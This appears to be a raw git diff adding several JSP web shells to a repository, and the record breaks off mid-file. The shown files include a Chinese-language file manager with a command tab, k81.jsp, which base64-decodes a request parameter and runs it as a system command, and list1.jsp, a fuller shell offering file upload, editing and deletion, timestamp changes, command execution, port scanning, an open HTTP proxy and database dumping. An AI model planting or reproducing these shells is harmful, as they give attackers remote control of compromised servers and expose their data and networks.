sbFile.append(strFileCopy[languageNo]+"</a> ");
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
out.println("<font color=red>操作失败: "+e.toString()+"</font>");
|
||||
}
|
||||
%>
|
||||
|
||||
<DIV id="tabcontentcontainer">
|
||||
|
||||
|
||||
<div id="menu3" class="tabcontent">
|
||||
<br>
|
||||
<br> 未完成
|
||||
<br>
|
||||
<br>
|
||||
|
||||
</div>
|
||||
|
||||
<div id="menu4" class="tabcontent">
|
||||
<br>
|
||||
<p>一、功能说明</p>
|
||||
<p> jsp 版本的文件管理器,通过该程序可以远程管理服务器上的文件系统,您可以新建、修改、</p>
|
||||
<p>删除、下载文件和目录。对于windows系统,还提供了命令行窗口的功能,可以运行一些程序,类似</p>
|
||||
<p>与windows的cmd。</p>
|
||||
<p> </p>
|
||||
<p>二、测试</p>
|
||||
<p> <b>请大家在使用过程中,有任何问题,意见或者建议都可以给我留言,以便使这个程序更加完善和稳定,<p>
|
||||
留言地址为:<a href="http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx" target="_blank">http://blog.csdn.net/cqq/archive/2004/11/14/181728.aspx</a></b>
|
||||
<p> </p>
|
||||
<p>三、更新记录</p>
|
||||
<p> 2004.11.15 V0.9测试版发布,增加了一些基本的功能,文件编辑、复制、删除、下载、上传以及新建文件目录功能</p>
|
||||
<p> 2004.10.27 暂时定为0.6版吧, 提供了目录文件浏览功能 和 cmd功能</p>
|
||||
<p> 2004.09.20 第一个jsp 程序就是这个简单的显示目录文件的小程序</p>
|
||||
<p> </p>
|
||||
<p> </p>
|
||||
</div>
|
||||
|
||||
|
||||
<div id="menu1" class="tabcontent">
|
||||
<%
|
||||
out.println("<table border='1' width='100%' bgcolor='#FBFFC6' cellspacing=0 cellpadding=5 bordercolorlight=#000000 bordercolordark=#FFFFFF><tr><td width='30%'>"+strCurrentFolder[languageNo]+": <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
|
||||
%>
|
||||
<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
|
||||
|
||||
<tr>
|
||||
<td width="25%" align="center" valign="top">
|
||||
<table width="98%" border="0" cellspacing="0" cellpadding="3">
|
||||
<%=sbFolder%>
|
||||
</tr>
|
||||
</table>
|
||||
</td>
|
||||
<td width="81%" align="left" valign="top">
|
||||
|
||||
<%
|
||||
if(strAction!=null && strAction.equals("edit"))
|
||||
{
|
||||
out.println(sbEdit.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("copy"))
|
||||
{
|
||||
out.println(sbCopy.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("down"))
|
||||
{
|
||||
out.println(sbDown.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("savecopy"))
|
||||
{
|
||||
out.println(sbSaveCopy.toString());
|
||||
}
|
||||
else if(strAction!=null && strAction.equals("newFile") && !sbNewFile.toString().equals(""))
|
||||
{
|
||||
out.println(sbNewFile.toString());
|
||||
}
|
||||
else
|
||||
{
|
||||
%>
|
||||
<span id="EditBox"><table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF" bgcolor="white" >
|
||||
<tr bgcolor="#E7e7e6">
|
||||
<td width="26%"><%=strFileName[languageNo]%></td>
|
||||
<td width="19%"><%=strFileSize[languageNo]%></td>
|
||||
<td width="29%"><%=strLastModified[languageNo]%></td>
|
||||
<td width="26%"><%=strFileOperation[languageNo]%></td>
|
||||
</tr>
|
||||
<%=sbFile%>
|
||||
<!-- <tr align="center">
|
||||
<td colspan="4"><br>
|
||||
总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>
|
||||
KB </td>
|
||||
</tr>
|
||||
-->
|
||||
</table>
|
||||
</span>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
|
||||
</td>
|
||||
</tr>
|
||||
|
||||
<form name="frmMake" action="" method="post">
|
||||
<tr><td colspan=2 bgcolor=#FBFFC6>
|
||||
<input type="hidden" name="action" value="newFile">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type="hidden" name="file" value="<%=strFile%>">
|
||||
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||
<input type="hidden" name="tabID" value="1">
|
||||
<input type="hidden" name="content" value="">
|
||||
<%
|
||||
if(!strDir.endsWith("\\"))
|
||||
strDir = strDir + "\\";
|
||||
%>
|
||||
<input type="text" name="fileName" size=36 value="<%=strDir%>">
|
||||
<input type="submit" name="btnNewFile" value="新建文件" onclick="frmMake.submit()" >
|
||||
<input type="submit" name="btnNewDir" value="新建目录" onclick="frmMake.submit()" >
|
||||
</form>
|
||||
<form name="frmUpload" enctype="multipart/form-data" action="" method="post">
|
||||
<input type="hidden" name="action" value="upload">
|
||||
<input type="hidden" name="path" value="<%=strDir%>">
|
||||
<input type="hidden" name="file" value="<%=strFile%>">
|
||||
<input type="hidden" name="cmd" value="<%=strCmd%>">
|
||||
<input type="hidden" name="tabID" value="1">
|
||||
<input type="hidden" name="content" value="">
|
||||
<input type="file" name="cqqUploadFile" size="36">
|
||||
<input type="submit" name="submit" value="上传">
|
||||
</td></tr></form>
|
||||
</table>
|
||||
</div>
|
||||
<div id="menu2" class="tabcontent">
|
||||
|
||||
<%
|
||||
String line="";
|
||||
StringBuffer sbCmd=new StringBuffer("");
|
||||
|
||||
if(strCmd!=null)
|
||||
{
|
||||
try
|
||||
{
|
||||
//out.println(strCmd);
|
||||
Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
|
||||
while((line=br.readLine())!=null)
|
||||
{
|
||||
sbCmd.append(line+"\r\n");
|
||||
}
|
||||
}
|
||||
catch(Exception e)
|
||||
{
|
||||
System.out.println(e.toString());
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
strCmd = "set";
|
||||
}
|
||||
|
||||
%>
|
||||
<form name="cmd" action="" method="post">
|
||||
|
||||
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
|
||||
<input type="hidden" name="tabID" value="2">
|
||||
<input type=submit name=submit value="<%=strExecute[languageNo]%>">
|
||||
</form>
|
||||
<%
|
||||
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
|
||||
{
|
||||
%>
|
||||
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
|
||||
<br>
|
||||
<%
|
||||
}
|
||||
%>
|
||||
</DIV>
|
||||
</div>
|
||||
<br><br>
|
||||
<center><a href="http://www.topronet.com" target="_blank">www.topronet.com</a> ,All Rights Reserved.
|
||||
<br>Any question, please email me cqq1978@Gmail.com
|
28
jsp/k81.jsp
Normal file
28
jsp/k81.jsp
Normal file
|
@ -0,0 +1,28 @@
|
|||
<%@page import="java.io.*"%>
|
||||
<%@page import="sun.misc.BASE64Decoder"%>
|
||||
<%
|
||||
try {
|
||||
String cmd = request.getParameter("k8");
|
||||
String path=application.getRealPath(request.getRequestURI());
|
||||
String dir=new File(path).getParent();
|
||||
if(cmd.equals("Szh0ZWFt")){out.print("[S]"+dir+"[E]");}
|
||||
byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);
|
||||
String k8cmd = new String(binary);
|
||||
Process child = Runtime.getRuntime().exec(k8cmd);
|
||||
InputStream in = child.getInputStream();
|
||||
out.print("->|");
|
||||
int c;
|
||||
while ((c = in.read()) != -1) {
|
||||
out.print((char)c);
|
||||
}
|
||||
in.close();
|
||||
out.print("|<-");
|
||||
try {
|
||||
child.waitFor();
|
||||
} catch (InterruptedException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
} catch (IOException e) {
|
||||
System.err.println(e);
|
||||
}
|
||||
%>
|
799
jsp/list1.jsp
Normal file
799
jsp/list1.jsp
Normal file
|
@ -0,0 +1,799 @@
|
|||
<%@page import="java.util.*,java.io.*,java.sql.*,java.util.zip.*,java.lang.reflect.*,java.net.*,javax.servlet.jsp.*"%>
|
||||
<%@page pageEncoding="gbk"%>
|
||||
<%!
|
||||
final String APP_NAME="Manage System - JSP";
|
||||
int portListen=5000;
|
||||
boolean openHttpProxy=false;
|
||||
void mainForm(String web_Site,JspWriter out)throws Exception{
|
||||
out.print("<table width=100% height=100% border=0 bgcolor=menu>");
|
||||
out.print("<tr><td height=30 colspan=2>");
|
||||
out.print("<table width=100% height=25 border=0>");
|
||||
out.print("<form name=address method=post target=FileFrame onSubmit='checkUrl();'>");
|
||||
out.print("<tr><td width=60 align=center>FilePath:</td><td>");
|
||||
out.print("<input name=FolderPath style=width:100% value='"+web_Site+"' onchange='checkUrl();'>");
|
||||
out.print("<input type=hidden name=Action value=F>");
|
||||
out.print("<input type=hidden name=Filename>");
|
||||
out.print("</td><td width=60 align=center><a href='javascript:checkUrl();'>GOtoLink</a>");
|
||||
out.print("</td></tr></form></table></td></tr><tr><td width=148>");
|
||||
out.print("<iframe name=Menu src=?Action=M width=100% height=100% frameborder=2 scrolling=yes></iframe></td>");
|
||||
out.print("<td width=600>");
|
||||
out.print("<iframe name=FileFrame src='?Action=F&FolderPath="+web_Site+"' width=100% height=100% frameborder=1 scrolling=yes></iframe>");
|
||||
out.print("</td></tr></table>");
|
||||
}
|
||||
void mainMenu(JspWriter out,String web_Site)throws Exception{
|
||||
out.println("<table>");
|
||||
out.println("<tr><td bgcolor=Gray><a href=?Action=M>"+ico(58)+"FileOperation(File.class)</a></td></tr>");
|
||||
out.println("<tr><td bgcolor=menu onclick=top.address.FolderPath.value='"+folderReplace(web_Site)+"'><a href='?Action=F&FolderPath="+web_Site+"' target=FileFrame>"+ico(48)+"WEB Folder</a></td></tr>");
|
||||
out.println("<tr><td bgcolor=menu><a href=?Action=S target=FileFrame>"+ico(53)+"SystemInfo(System.class)</a></td></tr>");
|
||||
out.println("<tr><td bgcolor=menu><a href=?Action=L target=FileFrame>"+ico(53)+"ServletInfo</a></td></tr>");
|
||||
out.println("<tr><td bgcolor=menu><a href=?Action=T target=FileFrame>"+ico(53)+"SystemTools</a></td></tr>");
|
||||
out.println("<tr><td bgcolor=menu><a href=?Action=i target=FileFrame>"+ico(57)+"Interfaces</a></td></tr>");
|
||||
out.println("<tr><td bgcolor=menu><a href='http://blackbap.org/' target=FileFrame>About Silic Group</a></td></tr>");
|
||||
out.println("</table>");
|
||||
}
|
||||
void showFiles(JspWriter out,String path)throws Exception{
|
||||
File file=new File(path);
|
||||
long maxSize=0;
|
||||
if(file.isDirectory()&&file.exists()){
|
||||
File[] f=file.listFiles();
|
||||
out.println("<table><tr bgcolor=menu><td>name</td><td>type</td><td>size</td><td>modify date</td><td>readonly</td><td>can write</td><td>hidden</td><td>Action</td></tr>");
|
||||
for(int i=0;i<f.length;i++){
|
||||
maxSize=maxSize+f[i].length();
|
||||
if(f[i].isDirectory())
|
||||
out.println("<tr bgcolor=menu><td><a href=\"javascript:top.address.FolderPath.value='"+folderReplace(f[i].getAbsolutePath())+"/';checkUrl();\">"+ico(48)+f[i].getName()+"</a></td><td> DIR </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(true,f[i].getAbsolutePath())+"</td></tr>");
|
||||
else
|
||||
out.println("<tr><td>"+ico(50)+f[i].getName()+"</td><td> file </td><td>"+getSize(f[i].length())+"</td><td>"+new java.util.Date(f[i].lastModified())+"</td><td>"+f[i].canRead()+"</td><td>"+f[i].canWrite()+"</td><td>"+f[i].isHidden()+"</td><td>"+fOperation(false,f[i].getAbsolutePath())+"</td></tr>");
|
||||
}
|
||||
out.println("</table>");
|
||||
out.print("this folder size:"+getSize(maxSize));
|
||||
}
|
||||
}
|
||||
void showSystemInfo(JspWriter out)throws Exception{
|
||||
Map map=null;
|
||||
Set set=null;
|
||||
Iterator it=null;
|
||||
|
||||
map=System.getProperties();
|
||||
set=map.keySet();
|
||||
it=set.iterator();
|
||||
out.println("<hr>System Property info:<ul>");
|
||||
while(it.hasNext()){
|
||||
Object oName=it.next();
|
||||
out.println("<li>"+oName+" [ "+map.get(oName)+" ]");
|
||||
}
|
||||
out.print("</ul><hr>System CPU :");
|
||||
out.print(Runtime.getRuntime().availableProcessors()+" <br>");
|
||||
out.print("the JVM Free Memory :"+getSize(Runtime.getRuntime().freeMemory()));
|
||||
out.print("<br>the JVM Max Memory :"+getSize(Runtime.getRuntime().maxMemory()));
|
||||
}
|
||||
void servletInfo(ServletConfig config,JspWriter out)throws Exception{
|
||||
ServletContext sc=config.getServletContext();
|
||||
out.println("Server info: "+sc.getServerInfo()+"<br>");
|
||||
out.println("ServletContext name: "+sc.getServletContextName()+"<br>");
|
||||
out.println("Major version :"+sc.getMajorVersion()+"<br>");
|
||||
out.println("Minor version :"+sc.getMinorVersion()+"<br>");
|
||||
Enumeration en=sc.getInitParameterNames();
|
||||
String initInfo="init parameter: <br>";
|
||||
out.print(initInfo);
|
||||
while(en.hasMoreElements()){
|
||||
String name=(String)en.nextElement();
|
||||
initInfo="key:"+name+" value:"+sc.getInitParameter(name) +"<br>";
|
||||
out.print(initInfo);
|
||||
}
|
||||
|
||||
}
|
||||
void downFile(String filename,HttpServletResponse res)throws Exception{
|
||||
int w=0;
|
||||
byte[] buffer=new byte[256];
|
||||
byte[] b=(new File(filename)).getName().getBytes();
|
||||
String outFile=new String(b,"ISO-8859-1");
|
||||
res.reset();
|
||||
res.setHeader("Content-disposition","attachment;filename=\""+outFile+"\"");
|
||||
ServletOutputStream sos=res.getOutputStream();
|
||||
BufferedInputStream bis=null;
|
||||
try{
|
||||
bis=new BufferedInputStream(new FileInputStream(filename));
|
||||
while((w=bis.read(buffer,0,buffer.length))!=-1){
|
||||
sos.write(buffer,0,w);
|
||||
}
|
||||
}catch(Exception e){
|
||||
}finally{
|
||||
if(bis!=null)bis.close();
|
||||
}
|
||||
sos.flush();
|
||||
res.flushBuffer();
|
||||
}
|
||||
void deleteFile(String filename,JspWriter out)throws Exception{
|
||||
File f=new File(filename);
|
||||
if(f.exists()){
|
||||
if(f.delete())out.print(filename+"delete success...");
|
||||
}else{
|
||||
out.print("file not find!!");
|
||||
}
|
||||
}
|
||||
void renameFile(String filename,JspWriter out)throws Exception{
|
||||
int split=filename.indexOf("|");
|
||||
String newFilename=filename.substring(split+1);
|
||||
filename=filename.substring(0,split);
|
||||
File f=new File(filename);
|
||||
if(f.exists()){
|
||||
if(f.renameTo(new File(newFilename)))out.print(newFilename+" file move success");
|
||||
}else{
|
||||
out.print("file not find!");
|
||||
}
|
||||
}
|
||||
void copyFile(String filename,JspWriter out)throws Exception{
|
||||
int split=filename.indexOf("|");
|
||||
String newFilename=filename.substring(split+1);
|
||||
filename=filename.substring(0,split);
|
||||
File f=new File(filename);
|
||||
BufferedInputStream bis=null;
|
||||
BufferedOutputStream bos=null;
|
||||
if(f.exists()){
|
||||
try{
|
||||
bis=new BufferedInputStream(new FileInputStream(filename));
|
||||
bos=new BufferedOutputStream(new FileOutputStream(newFilename));
|
||||
int s=0;
|
||||
while((s=bis.read())!=-1){
|
||||
bos.write(s);
|
||||
}
|
||||
}catch(Exception e){
|
||||
out.print("file copy failed");
|
||||
}finally{
|
||||
if(bis!=null)bis.close();
|
||||
if(bos!=null)bos.close();
|
||||
}
|
||||
out.print(newFilename+"file copy success");
|
||||
}else{
|
||||
out.print("file not find!");
|
||||
}
|
||||
}
|
||||
void editFile(String filename,JspWriter out)throws IOException{
|
||||
File f=new File(filename);
|
||||
out.print("<form method=post>File Path:");
|
||||
out.print("<input type=text size=80 name=filename value='"+filename+"'>");
|
||||
out.print("<input type=button name=kFile onClick='this.form.action=\"?Action=K\";this.form.submit();' value=KeepFile >");
|
||||
out.print("<input type=button onClick=editFile(this.form.filename.value); value=ReadFile>");
|
||||
out.print("<textarea name=FileContent rows=35 style=width:100%;>");
|
||||
if(f.exists()){
|
||||
try{
|
||||
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(filename),"Gb2312"));
|
||||
String s="";
|
||||
while((s=br.readLine())!=null){
|
||||
out.println(htmlEntity(s));
|
||||
}
|
||||
}catch(Exception e){
|
||||
out.print("file edit failed");
|
||||
}finally{
|
||||
}
|
||||
}
|
||||
out.print("</textarea></form>");
|
||||
}
|
||||
void saveFile(String filename,byte[] fileContent,JspWriter out)throws IOException{
|
||||
if(filename!=null||fileContent!=null){
|
||||
BufferedOutputStream bos=null;
|
||||
try{
|
||||
bos=new BufferedOutputStream(new FileOutputStream(filename));
|
||||
bos.write(fileContent,0,fileContent.length);
|
||||
}finally{
|
||||
if(bos!=null)bos.close();
|
||||
}
|
||||
out.print(filename+"file save success");
|
||||
}else{
|
||||
out.print("Error");
|
||||
}
|
||||
}
|
||||
void dateChange(String filename,String year,String month,String day,JspWriter out)throws IOException{
|
||||
File f=new File(filename);
|
||||
if(f.exists()){
|
||||
Calendar calendar=Calendar.getInstance();
|
||||
calendar.set(Integer.parseInt(year),Integer.parseInt(month),Integer.parseInt(day));
|
||||
if(f.setLastModified(calendar.getTimeInMillis()))
|
||||
out.print(filename+"file date change success");
|
||||
else
|
||||
out.print(filename+"file date change error");
|
||||
}else{
|
||||
out.println("file not find!!!");
|
||||
}
|
||||
}
|
||||
void execFile(String file,JspWriter out)throws Exception{
|
||||
int i=0;
|
||||
Runtime rt=Runtime.getRuntime();
|
||||
Process ps=rt.exec(file);
|
||||
InputStreamReader isr = null;
|
||||
char[] bufferC=new char[1024];
|
||||
try{
|
||||
isr=new InputStreamReader(ps.getInputStream(),"GB2312");
|
||||
out.print("<textarea rows=35 style=width:100%;>");
|
||||
while((i=isr.read(bufferC,0,bufferC.length))!=-1){
|
||||
out.print(htmlEntity(new String(bufferC,0,i)));
|
||||
}
|
||||
}catch(Exception e){
|
||||
out.print("run file error");
|
||||
}finally{
|
||||
if(isr!=null)isr.close();
|
||||
}
|
||||
out.print("</textarea>");
|
||||
systemTools(out);
|
||||
}
|
||||
void zip(String zipPath, String srcPath,JspWriter out) throws Exception {
|
||||
FileOutputStream output = null;
|
||||
ZipOutputStream zipOutput = null;
|
||||
try{
|
||||
output = new FileOutputStream(zipPath);
|
||||
zipOutput = new ZipOutputStream(output);
|
||||
zipEntry(zipOutput,srcPath,srcPath,zipPath);
|
||||
}catch(Exception e){
|
||||
out.print("file zip error");
|
||||
}finally{
|
||||
if(zipOutput!=null)zipOutput.close();
|
||||
}
|
||||
out.print("zip ok"+zipPath);
|
||||
}
|
||||
void zipEntry(ZipOutputStream zipOs, String initPath,String filePath,String zipPath) throws Exception {
|
||||
String entryName = filePath;
|
||||
File f = new File(filePath);
|
||||
if (f.isDirectory()){
|
||||
String[] files = f.list();
|
||||
for(int i = 0; i < files.length; i++)
|
||||
zipEntry(zipOs, initPath, filePath + File.separator + files[i],zipPath);
|
||||
return;
|
||||
}
|
||||
String chPh = initPath.substring(initPath.lastIndexOf("/") + 1);
|
||||
int idx=initPath.lastIndexOf(chPh);
|
||||
if (idx != -1) {
|
||||
entryName = filePath.substring(idx);
|
||||
}
|
||||
ZipEntry entry;
|
||||
entry = new ZipEntry(entryName);
|
||||
File ff = new File(filePath);
|
||||
if(ff.getAbsolutePath().equals(zipPath))return;
|
||||
entry.setSize(ff.length());
|
||||
entry.setTime(ff.lastModified());
|
||||
entry.setCrc(0);
|
||||
CRC32 crc = new CRC32();
|
||||
crc.reset();
|
||||
zipOs.putNextEntry(entry);
|
||||
int len = 0;
|
||||
byte[] buffer = new byte[2048];
|
||||
int bufferLen = 2048;
|
||||
FileInputStream input =null;
|
||||
try{
|
||||
input = new FileInputStream(filePath);
|
||||
while ((len = input.read(buffer, 0, bufferLen)) != -1) {
|
||||
zipOs.write(buffer, 0, len);
|
||||
crc.update(buffer, 0, len);
|
||||
}
|
||||
}catch(Exception e){
|
||||
}finally{
|
||||
if(input!=null)input.close();
|
||||
}
|
||||
entry.setCrc(crc.getValue());
|
||||
}
|
||||
void upfile(HttpServletRequest request,JspWriter out,String filename)throws Exception{
|
||||
String boundary = request.getContentType().substring(30);
|
||||
ServletInputStream sis=request.getInputStream();
|
||||
BufferedOutputStream bos=null;
|
||||
byte[] buffer = new byte[1024];
|
||||
int line=-1;
|
||||
for(int i=0;i<5;i++){
|
||||
line=readLine(buffer,sis,boundary);
|
||||
}
|
||||
try{
|
||||
bos=new BufferedOutputStream(new FileOutputStream(filename));
|
||||
while(line!=-1){
|
||||
bos.write(buffer,0,line);
|
||||
line=readLine(buffer,sis,boundary);
|
||||
}
|
||||
out.print("upload success");
|
||||
}catch(Exception e){
|
||||
out.print("upload failed!");
|
||||
}finally{
|
||||
if(bos!=null)bos.close();
|
||||
}
|
||||
}
|
||||
int readLine(byte[] lineByte,ServletInputStream servletInputstream,String endStr){
|
||||
try{
|
||||
int len=0;
|
||||
len=servletInputstream.readLine(lineByte,0,lineByte.length);
|
||||
String str=new String(lineByte,0,len);
|
||||
System.out.println(str);
|
||||
if(str.indexOf(endStr)==-1)
|
||||
return len;
|
||||
else
|
||||
return -1;
|
||||
}catch(Exception _ex){
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
void newFolder(JspWriter out,String foldername)throws Exception{
|
||||
File f=new File(foldername);
|
||||
if(f.mkdirs()){
|
||||
out.print("create folder success");
|
||||
}else{
|
||||
out.print("create folder failed!");
|
||||
}
|
||||
}
|
||||
void reflectAPI(JspWriter out,String className)throws Exception{
|
||||
Class cls=Class.forName(className);
|
||||
String constructor="";
|
||||
String ifString="";
|
||||
Class[] interfaces=cls.getInterfaces();
|
||||
String supperClass=cls.getSuperclass().toString();
|
||||
Constructor[] c=cls.getDeclaredConstructors();
|
||||
Field[] f=cls.getDeclaredFields();
|
||||
Method[] m=cls.getDeclaredMethods();
|
||||
|
||||
for(int i=0;i<interfaces.length;i++){
|
||||
ifString=ifString+interfaces[i].getName()+",";
|
||||
}
|
||||
out.print("<strong>"+Modifier.toString(cls.getModifiers())+"</strong> "+cls+"<br><strong>extends</strong> "+supperClass+" <strong><br>implemets</strong> "+ifString);
|
||||
out.print("<br>{<br><EM>Constructor:</EM><br>");
|
||||
for(int i=0;i<c.length;i++)
|
||||
out.print(" "+c[i]+"<br>");
|
||||
out.print("<EM>Field:</EM><br>");
|
||||
for(int i=0;i<f.length;i++)
|
||||
out.print(" "+f[i]+"<br>");
|
||||
out.print("<EM>Function:</EM><br>");
|
||||
for(int i=0;i<m.length;i++)
|
||||
out.print(" "+m[i]+"<br>");
|
||||
out.print("<br>}");
|
||||
}
|
||||
void scanPort(JspWriter out,String strAddress,int startPort,int endPort)throws Exception{
|
||||
if(endPort<startPort||startPort<=0||startPort>65535||endPort>65535||endPort<=0){
|
||||
out.print("port setup error");
|
||||
return;
|
||||
}
|
||||
InetAddress ia=InetAddress.getByName(strAddress);
|
||||
for(int p=startPort;p<=endPort;p+=15){
|
||||
(new ScanPort(ia,p,p+14,out)).start();
|
||||
}
|
||||
Thread.sleep((int)(endPort/startPort)*5000);
|
||||
}
|
||||
class ScanPort extends Thread{
|
||||
int startPort;
|
||||
int endPort;
|
||||
InetAddress address;
|
||||
javax.servlet.jsp.JspWriter out;
|
||||
public ScanPort(InetAddress address,int startPort,int endPort,JspWriter out){
|
||||
this.address=address;
|
||||
this.startPort=startPort;
|
||||
this.endPort=endPort;
|
||||
this.out=out;
|
||||
}
|
||||
public void run(){
|
||||
Socket s=null;
|
||||
for(int port=startPort;port<=endPort;port++){
|
||||
try{
|
||||
s=new Socket(address,port);
|
||||
out.println("port "+port+" is Open<br>");
|
||||
}
|
||||
catch(IOException e){
|
||||
}finally{
|
||||
try{s.close();}catch(Exception e){}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
public void switchProxyService(JspWriter out)throws Exception{
|
||||
if(openHttpProxy=!openHttpProxy){
|
||||
new RunProxyService(portListen).start();
|
||||
out.print("Proxy running");
|
||||
}else{
|
||||
out.print("Proxy closed");
|
||||
}
|
||||
}
|
||||
public class RunProxyService extends Thread{
|
||||
int port;
|
||||
public RunProxyService(int port){
|
||||
this.port=port;
|
||||
}
|
||||
public void run(){
|
||||
try {
|
||||
ServerSocket ss=new ServerSocket(5000);
|
||||
while(true){
|
||||
if(openHttpProxy){
|
||||
new HttpProxy(ss.accept()).start();
|
||||
}else{
|
||||
break;
|
||||
}
|
||||
}
|
||||
ss.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
public class HttpProxy extends Thread{
|
||||
private Socket s;
|
||||
public int timeOut=10000;
|
||||
public HttpProxy(Socket s){
|
||||
this.s=s;
|
||||
}
|
||||
public HttpProxy(Socket s,int timeOut){
|
||||
this.s=s;
|
||||
this.timeOut=timeOut;
|
||||
}
|
||||
public void run(){
|
||||
byte[] bit=new byte[1024];
|
||||
int readBit=0;
|
||||
int size=0;
|
||||
String returnAddress=null;
|
||||
int returnPort = 0;
|
||||
String sendHostName=null;
|
||||
int sendPort=0;
|
||||
Socket sendSocket=null;
|
||||
OutputStream os=null;
|
||||
InputStream is=null;
|
||||
try{
|
||||
int split=0;
|
||||
is=s.getInputStream();
|
||||
if((size=is.read(bit, 0, bit.length))==-1)return;
|
||||
String httpHead=new String(bit,0,size);
|
||||
split=httpHead.indexOf("\nHost: ")+7;
|
||||
sendHostName=httpHead.substring(split, httpHead.indexOf("\n", split));
|
||||
if((split=sendHostName.indexOf(':'))!=-1){
|
||||
sendPort=Integer.parseInt(sendHostName.substring(split+1).trim());
|
||||
sendHostName=sendHostName.substring(0,split);
|
||||
sendSocket=new Socket(sendHostName.trim(),sendPort);
|
||||
}else{
|
||||
sendSocket=new Socket(sendHostName.trim(),80);
|
||||
}
|
||||
sendSocket.setSoTimeout(timeOut);
|
||||
os=sendSocket.getOutputStream();
|
||||
os.write(httpHead.getBytes());
|
||||
if(size==bit.length)
|
||||
while((size=is.read(bit, 0, bit.length))!=-1){
|
||||
os.write(bit,0 , size);
|
||||
}
|
||||
os.flush();
|
||||
is=sendSocket.getInputStream();
|
||||
os=s.getOutputStream();
|
||||
|
||||
while((size=is.read(bit, 0, bit.length))!=-1){
|
||||
os.write(bit,0 , size);
|
||||
os.flush();
|
||||
}
|
||||
}catch(SocketException se){
|
||||
} catch (IOException ie) {
|
||||
} catch (Exception e) {
|
||||
}finally{
|
||||
if(is!=null){
|
||||
try {
|
||||
is.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
}
|
||||
if(os!=null){
|
||||
try {
|
||||
os.close();
|
||||
} catch (IOException e) {
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
void ConnectionDBM(JspWriter out,String driver,String url,String userName,String passWord,String sqlAction,String sqlCmd)throws Exception{
|
||||
DBM dbm=new DBM(driver,url,userName,passWord,out);
|
||||
if(sqlAction.equals("LDB")){
|
||||
dbm.lookInfo();
|
||||
}else{
|
||||
dbm.executeSQL(sqlCmd);
|
||||
}
|
||||
dbm.closeAll();
|
||||
}
|
||||
class DBM{
|
||||
private JspWriter out;
|
||||
private Connection con;
|
||||
private Statement stmt;
|
||||
private ResultSet rs;
|
||||
public DBM(String driverName,String url,String userName,String passWord,JspWriter out)throws Exception{
|
||||
Class.forName(driverName);
|
||||
this.out=out;
|
||||
con=DriverManager.getConnection(url,userName,passWord);
|
||||
}
|
||||
public void lookInfo()throws Exception{
|
||||
DatabaseMetaData dbmd=con.getMetaData();
|
||||
String tableType=null;
|
||||
out.print("<strong>DataBaseInfo</strong><table>");
|
||||
out.print("<tr><td>DataBaseName:</td><td>"+dbmd.getDatabaseProductName()+"</td></tr>");
|
||||
out.print("<tr><td>DataBaseVersion:</td><td>"+dbmd.getDatabaseProductVersion()+"</td></tr>");
|
||||
out.print("<tr><td>the Numeric Function:</td><td>"+dbmd.getNumericFunctions()+"</td></tr>");
|
||||
out.print("<tr><td>the String Function:</td><td>"+dbmd.getStringFunctions()+"</td></tr>");
|
||||
out.print("<tr><td>the TimeDate Function:</td><td>"+dbmd.getTimeDateFunctions()+"</td></tr>");
|
||||
out.print("<tr><td>the System Function:</td><td>"+dbmd.getSystemFunctions()+"</td></tr>");
|
||||
out.print("</table>");
|
||||
out.print("<strong>ProcedureInfo</strong><table>");
|
||||
try{
|
||||
getProcedureDetail(dbmd.getProcedures(null,null,null));
|
||||
}catch(Exception proE){}
|
||||
try{
|
||||
rs=dbmd.getTables(null,null,null,null);
|
||||
}catch(Exception tabE){}
|
||||
out.print("<strong>DataBase Tables Info</strong><br>");
|
||||
while(rs.next()){
|
||||
tableType=rs.getString(4);
|
||||
out.print("<strong>TableName:</strong>"+rs.getString(3)+" <strong>Type:</strong>"+tableType+"<br>");
|
||||
if(tableType.indexOf("VIEW")>=0||tableType.indexOf("TABLE")>=0){
|
||||
try{
|
||||
getTableDetail(dbmd.getColumns(null,null,rs.getString(3),null));
|
||||
}catch(Exception columnE){}
|
||||
}
|
||||
}
|
||||
this.closeAll();
|
||||
}
|
||||
private void getTableDetail(ResultSet tableRs)throws Exception{
|
||||
out.print("<table border=1><tr><td>Column Name</td><td>Data Type</td><td>Type Name</td><td>COLUMN_SIZE</td><td>IS_NULLABLE</td><td>CHAR_OCTET_LENGTH</td></tr>");
|
||||
while(tableRs.next()){
|
||||
out.print("<tr><td>"+tableRs.getString(4)+"</td><td>"+tableRs.getInt(5)+"</td><td>"+tableRs.getString(6)+"</td><td>"+tableRs.getInt(7)+"</td><td>"+tableRs.getString(18)+"</td><td>"+tableRs.getInt(16)+"</td></tr>");
|
||||
}
|
||||
out.print("</table>");
|
||||
tableRs.close();
